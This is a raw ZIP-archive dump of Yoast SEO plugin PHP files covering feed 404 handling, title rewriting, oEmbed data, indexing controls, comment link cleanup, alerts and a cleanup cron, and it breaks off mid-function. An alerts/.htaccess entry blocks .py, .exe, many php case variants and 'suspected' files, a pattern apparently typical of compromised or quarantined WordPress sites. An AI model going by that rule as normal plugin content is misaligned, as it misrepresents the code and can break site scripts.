	/**
	 * Handle_404 constructor.
	 *
	 * @codeCoverageIgnore Handles dependencies.
	 *
	 * @param WP_Query_Wrapper $query_wrapper The query wrapper.
	 */
	public function __construct( WP_Query_Wrapper $query_wrapper ) {
		$this->query_wrapper = $query_wrapper;
	}

	/**
	 * Handles the 404 status code.
	 *
	 * @param bool $handled Whether we've handled the request.
	 *
	 * @return bool True if it's 404.
	 */
	public function handle_404( $handled ) {
		if ( ! $this->is_feed_404() ) {
			return $handled;
		}

		$this->set_404();
		$this->set_headers();

		\add_filter( 'old_slug_redirect_url', '__return_false' );
		\add_filter( 'redirect_canonical', '__return_false' );

		return true;
	}

	/**
	 * If there are no posts in a feed, make it 404 instead of sending an empty RSS feed.
	 *
	 * @return bool True if it's 404.
	 */
	protected function is_feed_404() {
		if ( ! \is_feed() ) {
			return false;
		}

		$wp_query = $this->query_wrapper->get_query();

		// Don't 404 if the query contains post(s) or an object.
		if ( $wp_query->posts || $wp_query->get_queried_object() ) {
			return false;
		}

		// Don't 404 if it isn't archive or singular.
		if ( ! $wp_query->is_archive() && ! $wp_query->is_singular() ) {
			return false;
		}

		return true;
	}

	/**
	 * Sets the 404 status code.
	 *
	 * @return void
	 */
	protected function set_404() {
		$wp_query          = $this->query_wrapper->get_query();
		$wp_query->is_feed = false;
		$wp_query->set_404();
		$this->query_wrapper->set_query( $wp_query );
	}

	/**
	 * Sets the headers for http.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function set_headers() {
		// Overwrite Content-Type header.
		if ( ! \headers_sent() ) {
			\header( 'Content-Type: ' . \get_option( 'html_type' ) . '; charset=' . \get_option( 'blog_charset' ) );
		}

		\status_header( 404 );
		\nocache_headers();
	}
}
PK       ! XX    !  front-end/force-rewrite-title.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Class Force_Rewrite_Title.
 */
class Force_Rewrite_Title implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Toggle indicating whether output buffering has been started.
	 *
	 * @var bool
	 */
	private $ob_started = false;

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $wp_query;

	/**
	 * Sets the helpers.
	 *
	 * @codeCoverageIgnore It just handles dependencies.
	 *
	 * @param Options_Helper   $options  Options helper.
	 * @param WP_Query_Wrapper $wp_query WP query wrapper.
	 */
	public function __construct( Options_Helper $options, WP_Query_Wrapper $wp_query ) {
		$this->options  = $options;
		$this->wp_query = $wp_query;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		// When the option is disabled.
		if ( ! $this->options->get( 'forcerewritetitle', false ) ) {
			return;
		}

		// For WordPress versions below 4.4.
		if ( \current_theme_supports( 'title-tag' ) ) {
			return;
		}

		\add_action( 'template_redirect', [ $this, 'force_rewrite_output_buffer' ], 99999 );
		\add_action( 'wp_footer', [ $this, 'flush_cache' ], -1 );
	}

	/**
	 * Used in the force rewrite functionality this retrieves the output, replaces the title with the proper SEO
	 * title and then flushes the output.
	 *
	 * @return bool
	 */
	public function flush_cache() {
		if ( $this->ob_started !== true ) {
			return false;
		}

		$content = $this->get_buffered_output();

		$old_wp_query = $this->wp_query->get_query();

		\wp_reset_query();

		// When the file has the debug mark.
		if ( \preg_match( '/(?\'before\'.*)<!-- This site is optimized with the Yoast SEO.*<!-- \/ Yoast SEO( Premium)? plugin. -->(?\'after\'.*)/is', $content, $matches ) ) {
			$content = $this->replace_titles_from_content( $content, $matches );

			unset( $matches );
		}

		// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- The query gets reset here with the original query.
		$GLOBALS['wp_query'] = $old_wp_query;

		// phpcs:ignore WordPress.Security.EscapeOutput -- The output should already have been escaped, we are only filtering it.
		echo $content;

		return true;
	}

	/**
	 * Starts the output buffer so it can later be fixed by flush_cache().
	 *
	 * @return void
	 */
	public function force_rewrite_output_buffer() {
		$this->ob_started = true;
		$this->start_output_buffering();
	}

	/**
	 * Replaces the titles from the parts that contains a title.
	 *
	 * @param string $content          The content to remove the titles from.
	 * @param array  $parts_with_title The parts containing a title.
	 *
	 * @return string The modified content.
	 */
	protected function replace_titles_from_content( $content, $parts_with_title ) {
		if ( isset( $parts_with_title['before'] ) && \is_string( $parts_with_title['before'] ) ) {
			$content = $this->replace_title( $parts_with_title['before'], $content );
		}

		if ( isset( $parts_with_title['after'] ) ) {
			$content = $this->replace_title( $parts_with_title['after'], $content );
		}

		return $content;
	}

	/**
	 * Removes the title from the part that contains the title and put this modified part back
	 * into the content.
	 *
	 * @param string $part_with_title The part with the title that needs to be replaced.
	 * @param string $content         The entire content.
	 *
	 * @return string The altered content.
	 */
	protected function replace_title( $part_with_title, $content ) {
		$part_without_title = \preg_replace( '/<title.*?\/title>/i', '', $part_with_title );

		return \str_replace( $part_with_title, $part_without_title, $content );
	}

	/**
	 * Starts the output buffering.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function start_output_buffering() {
		\ob_start();
	}

	/**
	 * Retrieves the buffered output.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return false|string The buffered output.
	 */
	protected function get_buffered_output() {
		return \ob_get_clean();
	}
}
PK       ! ].      front-end/open-graph-oembed.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WP_Post;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\Open_Graph_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * Class Open_Graph_OEmbed.
 */
class Open_Graph_OEmbed implements Integration_Interface {

	/**
	 * The meta surface.
	 *
	 * @var Meta_Surface
	 */
	private $meta;

	/**
	 * The oEmbed data.
	 *
	 * @var array
	 */
	private $data;

	/**
	 * The post ID for the current post.
	 *
	 * @var int
	 */
	private $post_id;

	/**
	 * The post meta.
	 *
	 * @var Meta|false
	 */
	private $post_meta;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class, Open_Graph_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'oembed_response_data', [ $this, 'set_oembed_data' ], 10, 2 );
	}

	/**
	 * Open_Graph_OEmbed constructor.
	 *
	 * @param Meta_Surface $meta The meta surface.
	 */
	public function __construct( Meta_Surface $meta ) {
		$this->meta = $meta;
	}

	/**
	 * Callback function to pass to the oEmbed's response data that will enable
	 * support for using the image and title set by the WordPress SEO plugin's fields. This
	 * address the concern where some social channels/subscribed use oEmebed data over Open Graph data
	 * if both are present.
	 *
	 * @link https://developer.wordpress.org/reference/hooks/oembed_response_data/ for hook info.
	 *
	 * @param array   $data The oEmbed data.
	 * @param WP_Post $post The current Post object.
	 *
	 * @return array An array of oEmbed data with modified values where appropriate.
	 */
	public function set_oembed_data( $data, $post ) {
		// Data to be returned.
		$this->data      = $data;
		$this->post_id   = $post->ID;
		$this->post_meta = $this->meta->for_post( $this->post_id );

		if ( ! empty( $this->post_meta ) ) {
			$this->set_title();
			$this->set_description();
			$this->set_image();
		}

		return $this->data;
	}

	/**
	 * Sets the OpenGraph title if configured.
	 *
	 * @return void
	 */
	protected function set_title() {
		$opengraph_title = $this->post_meta->open_graph_title;

		if ( ! empty( $opengraph_title ) ) {
			$this->data['title'] = $opengraph_title;
		}
	}

	/**
	 * Sets the OpenGraph description if configured.
	 *
	 * @return void
	 */
	protected function set_description() {
		$opengraph_description = $this->post_meta->open_graph_description;

		if ( ! empty( $opengraph_description ) ) {
			$this->data['description'] = $opengraph_description;
		}
	}

	/**
	 * Sets the image if it has been configured.
	 *
	 * @return void
	 */
	protected function set_image() {
		$images = $this->post_meta->open_graph_images;

		if ( ! \is_array( $images ) ) {
			return;
		}

		$image = \reset( $images );

		if ( empty( $image ) || ! isset( $image['url'] ) ) {
			return;
		}

		$this->data['thumbnail_url'] = $image['url'];

		if ( isset( $image['width'] ) ) {
			$this->data['thumbnail_width'] = $image['width'];
		}

		if ( isset( $image['height'] ) ) {
			$this->data['thumbnail_height'] = $image['height'];
		}
	}
}
PK       ! P2	  2	  *  front-end/schema-accessibility-feature.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Generators\Schema\Abstract_Schema_Piece;
use Yoast\WP\SEO\Generators\Schema\Article;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds the table of contents accessibility feature to the article piece with a fallback to the webpage piece.
 */
class Schema_Accessibility_Feature implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_schema_webpage', [ $this, 'maybe_add_accessibility_feature' ], 10, 4 );
		\add_filter( 'wpseo_schema_article', [ $this, 'add_accessibility_feature' ], 10, 2 );
	}

	/**
	 * Adds the accessibility feature to the webpage if there is no article.
	 *
	 * @param array                   $piece         The graph piece.
	 * @param Meta_Tags_Context       $context       The context.
	 * @param Abstract_Schema_Piece   $the_generator The current schema generator.
	 * @param Abstract_Schema_Piece[] $generators    The schema generators.
	 *
	 * @return array The graph piece.
	 */
	public function maybe_add_accessibility_feature( $piece, $context, $the_generator, $generators ) {
		foreach ( $generators as $generator ) {
			if ( \is_a( $generator, Article::class ) && $generator->is_needed() ) {
				return $piece;
			}
		}

		return $this->add_accessibility_feature( $piece, $context );
	}

	/**
	 * Adds the accessibility feature to a schema graph piece.
	 *
	 * @param array             $piece   The schema piece.
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The graph piece.
	 */
	public function add_accessibility_feature( $piece, $context ) {
		if ( empty( $context->blocks['yoast-seo/table-of-contents'] ) ) {
			return $piece;
		}

		if ( isset( $piece['accessibilityFeature'] ) ) {
			$piece['accessibilityFeature'][] = 'tableOfContents';
		}
		else {
			$piece['accessibilityFeature'] = [
				'tableOfContents',
			];
		}
		return $piece;
	}
}
PK       ! =ڤ	
  
    front-end/indexing-controls.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Robots_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Indexing_Controls.
 */
class Indexing_Controls implements Integration_Interface {

	/**
	 * The robots helper.
	 *
	 * @var Robots_Helper
	 */
	protected $robots;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * The constructor.
	 *
	 * @codeCoverageIgnore Sets the dependencies.
	 *
	 * @param Robots_Helper $robots The robots helper.
	 */
	public function __construct( Robots_Helper $robots ) {
		$this->robots = $robots;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		// The option `blog_public` is set in Settings > Reading > Search Engine Visibility.
		if ( (string) \get_option( 'blog_public' ) === '0' ) {
			\add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] );
		}

		\add_action( 'template_redirect', [ $this, 'noindex_robots' ] );
		\add_filter( 'loginout', [ $this, 'nofollow_link' ] );
		\add_filter( 'register', [ $this, 'nofollow_link' ] );

		// Remove actions that we will handle through our wpseo_head call, and probably change the output of.
		\remove_action( 'wp_head', 'rel_canonical' );
		\remove_action( 'wp_head', 'index_rel_link' );
		\remove_action( 'wp_head', 'start_post_rel_link' );
		\remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' );
		\remove_action( 'wp_head', 'noindex', 1 );
	}

	/**
	 * Sends a Robots HTTP header preventing URL from being indexed in the search results while allowing search engines
	 * to follow the links in the object at the URL.
	 *
	 * @return bool Boolean indicating whether the noindex header was sent.
	 */
	public function noindex_robots() {
		if ( ! \is_robots() ) {
			return false;
		}

		return $this->set_robots_header();
	}

	/**
	 * Adds rel="nofollow" to a link, only used for login / registration links.
	 *
	 * @param string $input The link element as a string.
	 *
	 * @return string
	 */
	public function nofollow_link( $input ) {
		return \str_replace( '<a ', '<a rel="nofollow" ', $input );
	}

	/**
	 * Sets the x-robots-tag to noindex follow.
	 *
	 * @codeCoverageIgnore Too difficult to test.
	 *
	 * @return bool
	 */
	protected function set_robots_header() {
		if ( \headers_sent() === false ) {
			\header( 'X-Robots-Tag: noindex, follow', true );

			return true;
		}

		return false;
	}
}
PK       ! U<R    '  front-end/category-term-description.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds support for shortcodes to category and term descriptions.
 */
class Category_Term_Description implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'category_description', [ $this, 'add_shortcode_support' ] );
		\add_filter( 'term_description', [ $this, 'add_shortcode_support' ] );
	}

	/**
	 * Adds shortcode support to category and term descriptions.
	 *
	 * This methods wrap in output buffering to prevent shortcodes that echo stuff
	 * instead of return from breaking things.
	 *
	 * @param string $description String to add shortcodes in.
	 *
	 * @return string Content with shortcodes filtered out.
	 */
	public function add_shortcode_support( $description ) {
		\ob_start();
		$description = \do_shortcode( $description );
		\ob_end_clean();

		return $description;
	}
}
PK       ! 5       front-end/comment-link-fixer.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Helpers\Robots_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Comment_Link_Fixer.
 */
class Comment_Link_Fixer implements Integration_Interface {

	/**
	 * The redirects helper.
	 *
	 * @var Redirect_Helper
	 */
	protected $redirect;

	/**
	 * The robots helper.
	 *
	 * @var Robots_Helper
	 */
	protected $robots;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Comment_Link_Fixer constructor.
	 *
	 * @codeCoverageIgnore It only sets depedencies.
	 *
	 * @param Redirect_Helper $redirect The redirect helper.
	 * @param Robots_Helper   $robots   The robots helper.
	 */
	public function __construct( Redirect_Helper $redirect, Robots_Helper $robots ) {
		$this->redirect = $redirect;
		$this->robots   = $robots;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->clean_reply_to_com() ) {
			\add_filter( 'comment_reply_link', [ $this, 'remove_reply_to_com' ] );
			\add_action( 'template_redirect', [ $this, 'replytocom_redirect' ], 1 );
		}

		// When users view a reply to a comment, this URL parameter is set. These should never be indexed separately.
		if ( $this->get_replytocom_parameter() !== null ) {
			\add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] );
		}
	}

	/**
	 * Checks if the url contains the ?replytocom query parameter.
	 *
	 * @codeCoverageIgnore Wraps the filter input.
	 *
	 * @return string|null The value of replytocom or null if it does not exist.
	 */
	protected function get_replytocom_parameter() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['replytocom'] ) && \is_string( $_GET['replytocom'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) );
		}
		return null;
	}

	/**
	 * Removes the ?replytocom variable from the link, replacing it with a #comment-<number> anchor.
	 *
	 * @todo Should this function also allow for relative urls ?
	 *
	 * @param string $link The comment link as a string.
	 *
	 * @return string The modified link.
	 */
	public function remove_reply_to_com( $link ) {
		return \preg_replace( '`href=(["\'])(?:.*(?:\?|&|&#038;)replytocom=(\d+)#respond)`', 'href=$1#comment-$2', $link );
	}

	/**
	 * Redirects out the ?replytocom variables.
	 *
	 * @return bool True when redirect has been done.
	 */
	public function replytocom_redirect() {
		if ( isset( $_GET['replytocom'] ) && \is_singular() ) {
			$url          = \get_permalink( $GLOBALS['post']->ID );
			$hash         = \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) );
			$query_string = '';
			if ( isset( $_SERVER['QUERY_STRING'] ) ) {
				$query_string = \remove_query_arg( 'replytocom', \sanitize_text_field( \wp_unslash( $_SERVER['QUERY_STRING'] ) ) );
			}
			if ( ! empty( $query_string ) ) {
				$url .= '?' . $query_string;
			}
			$url .= '#comment-' . $hash;

			$this->redirect->do_safe_redirect( $url, 301 );

			return true;
		}

		return false;
	}

	/**
	 * Checks whether we can allow the feature that removes ?replytocom query parameters.
	 *
	 * @codeCoverageIgnore It just wraps a call to a filter.
	 *
	 * @return bool True to remove, false not to remove.
	 */
	private function clean_reply_to_com() {
		/**
		 * Filter: 'wpseo_remove_reply_to_com' - Allow disabling the feature that removes ?replytocom query parameters.
		 *
		 * @param bool $return True to remove, false not to remove.
		 */
		return (bool) \apply_filters( 'wpseo_remove_reply_to_com', true );
	}
}
PK       !     %  alerts/abstract-dismissable-alert.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dismissable_Alert class.
 */
abstract class Abstract_Dismissable_Alert implements Integration_Interface {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_allowed_dismissable_alerts', [ $this, 'register_dismissable_alert' ] );
	}

	/**
	 * Registers the dismissable alert.
	 *
	 * @param string[] $allowed_dismissable_alerts The allowed dismissable alerts.
	 *
	 * @return string[] The allowed dismissable alerts.
	 */
	public function register_dismissable_alert( $allowed_dismissable_alerts ) {
		$allowed_dismissable_alerts[] = $this->alert_identifier;

		return $allowed_dismissable_alerts;
	}
}
PK       ! )        alerts/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! MD  D  6  alerts/black-friday-sidebar-checklist-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Promo_Notification class.
 */
class Black_Friday_Sidebar_Checklist_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2023-sidebar-checklist';
}
PK       ! Ї1  1  )  alerts/trustpilot-review-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Trustpilot_Review_Notification class.
 */
class Trustpilot_Review_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'trustpilot-review-notification';
}
PK       ! U%%  %  %  alerts/webinar-promo-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Webinar_Promo_Notification class.
 */
class Webinar_Promo_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'webinar-promo-notification';
}
PK       ! :'8  8  .  alerts/black-friday-promotion-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Promotion_Notification class.
 */
class Black_Friday_Promotion_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2024-promotion';
}
PK       ! H\8    =  alerts/black-friday-product-editor-checklist-notification.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Product_Editor_Checklist_Notification class.
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Black_Friday_Product_Editor_Checklist_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2023-product-editor-checklist';
}
PK       ! n6  6  "  exclude-oembed-cache-post-type.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;

/**
 * Excludes certain oEmbed Cache-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Oembed_Cache_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the database migrations have been run.
	 *
	 * @return array|string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'oembed_cache' ];
	}
}
PK       ! W&  &    cleanup-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Closure;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Cleanup_Repository;

/**
 * Adds cleanup hooks.
 */
class Cleanup_Integration implements Integration_Interface {

	/**
	 * Identifier used to determine the current task.
	 */
	public const CURRENT_TASK_OPTION = 'wpseo-cleanup-current-task';

	/**
	 * Identifier for the cron job.
	 */
	public const CRON_HOOK = 'wpseo_cleanup_cron';

	/**
	 * Identifier for starting the cleanup.
	 */
	public const START_HOOK = 'wpseo_start_cleanup_indexables';

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The cleanup repository.
	 *
	 * @var Indexable_Cleanup_Repository
	 */
	private $cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Indexable_Cleanup_Repository $cleanup_repository The cleanup repository.
	 * @param Indexable_Helper             $indexable_helper   The indexable helper.
	 */
	public function __construct(
		Indexable_Cleanup_Repository $cleanup_repository,
		Indexable_Helper $indexable_helper
	) {
		$this->cleanup_repository = $cleanup_repository;
		$this->indexable_helper   = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( self::START_HOOK, [ $this, 'run_cleanup' ] );
		\add_action( self::CRON_HOOK, [ $this, 'run_cleanup_cron' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'reset_cleanup' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Starts the indexables cleanup.
	 *
	 * @return void
	 */
	public function run_cleanup() {
		$this->reset_cleanup();

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			\wp_unschedule_hook( self::START_HOOK );
			return;
		}

		$cleanups = $this->get_cleanup_tasks();
		$limit    = $this->get_limit();

		foreach ( $cleanups as $name => $action ) {
			$items_cleaned = $action( $limit );

			if ( $items_cleaned === false ) {
				return;
			}

			if ( $items_cleaned < $limit ) {
				continue;
			}

			// There are more items to delete for the current cleanup job, start a cronjob at the specified job.
			$this->start_cron_job( $name );

			return;
		}
	}

	/**
	 * Returns an array of cleanup tasks.
	 *
	 * @return Closure[] The cleanup tasks.
	 */
	public function get_cleanup_tasks() {
		return \array_merge(
			[
				'clean_indexables_with_object_type_and_object_sub_type_shop_order' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order', $limit );
				},
				'clean_indexables_by_post_status_auto-draft' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_with_post_status( 'auto-draft', $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_taxonomies' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_taxonomies( $limit );
				},
				'clean_indexables_for_non_publicly_viewable_post_type_archive_pages' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit );
				},
				'clean_indexables_for_authors_archive_disabled' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_archive_disabled( $limit );
				},
				'clean_indexables_for_authors_without_archive' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_authors_without_archive( $limit );
				},
				'update_indexables_author_to_reassigned' => function ( $limit ) {
					return $this->cleanup_repository->update_indexables_author_to_reassigned( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_user' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_orphaned_users( $limit );
				},
				'clean_orphaned_user_indexables_without_wp_post' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post', $limit );
				},
				'clean_orphaned_user_indexables_without_wp_term' => function ( $limit ) {
					return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term', $limit );
				},
			],
			$this->get_additional_indexable_cleanups(),
			[
				/* These should always be the last ones to be called. */
				'clean_orphaned_content_indexable_hierarchy' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'indexable_id', $limit );
				},
				'clean_orphaned_content_seo_links_target_indexable_id' => function ( $limit ) {
					return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'target_indexable_id', $limit );
				},

			],
			$this->get_additional_misc_cleanups()
		);
	}

	/**
	 * Gets additional tasks from the 'wpseo_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
	 */
	private function get_additional_indexable_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Gets additional tasks from the 'wpseo_misc_cleanup_tasks' filter.
	 *
	 * @return Closure[] Associative array of indexable cleanup functions.
	 */
	private function get_additional_misc_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional non-indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_misc_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Validates the additional tasks.
	 *
	 * @param Closure[] $additional_tasks The additional tasks to validate.
	 *
	 * @return Closure[] The validated additional tasks.
	 */
	private function validate_additional_tasks( $additional_tasks ) {
		if ( ! \is_array( $additional_tasks ) ) {
			return [];
		}

		foreach ( $additional_tasks as $key => $value ) {
			if ( \is_int( $key ) ) {
				return [];
			}
			if ( ( ! \is_object( $value ) ) || ! ( $value instanceof Closure ) ) {
				return [];
			}
		}

		return $additional_tasks;
	}

	/**
	 * Gets the deletion limit for cleanups.
	 *
	 * @return int The limit for the amount of entities to be cleaned.
	 */
	private function get_limit() {
		/**
		 * Filter: Adds the possibility to limit the number of items that are deleted from the database on cleanup.
		 *
		 * @param int $limit Maximum number of indexables to be cleaned up per query.
		 */
		$limit = \apply_filters( 'wpseo_cron_query_limit_size', 1000 );

		if ( ! \is_int( $limit ) ) {
			$limit = 1000;
		}

		return \abs( $limit );
	}

	/**
	 * Resets and stops the cleanup integration.
	 *
	 * @return void
	 */
	public function reset_cleanup() {
		\delete_option( self::CURRENT_TASK_OPTION );
		\wp_unschedule_hook( self::CRON_HOOK );
	}

	/**
	 * Starts the cleanup cron job.
	 *
	 * @param string $task_name     The task name of the next cleanup task to run.
	 * @param int    $schedule_time The time in seconds to wait before running the first cron job. Default is 1 hour.
	 *
	 * @return void
	 */
	public function start_cron_job( $task_name, $schedule_time = 3600 ) {
		\update_option( self::CURRENT_TASK_OPTION, $task_name );
		\wp_schedule_event(
			( \time() + $schedule_time ),
			'hourly',
			self::CRON_HOOK
		);
	}

	/**
	 * The callback that is called for the cleanup cron job.
	 *
	 * @return void
	 */
	public function run_cleanup_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			$this->reset_cleanup();

			return;
		}

		$current_task_name = \get_option( self::CURRENT_TASK_OPTION );

		if ( $current_task_name === false ) {
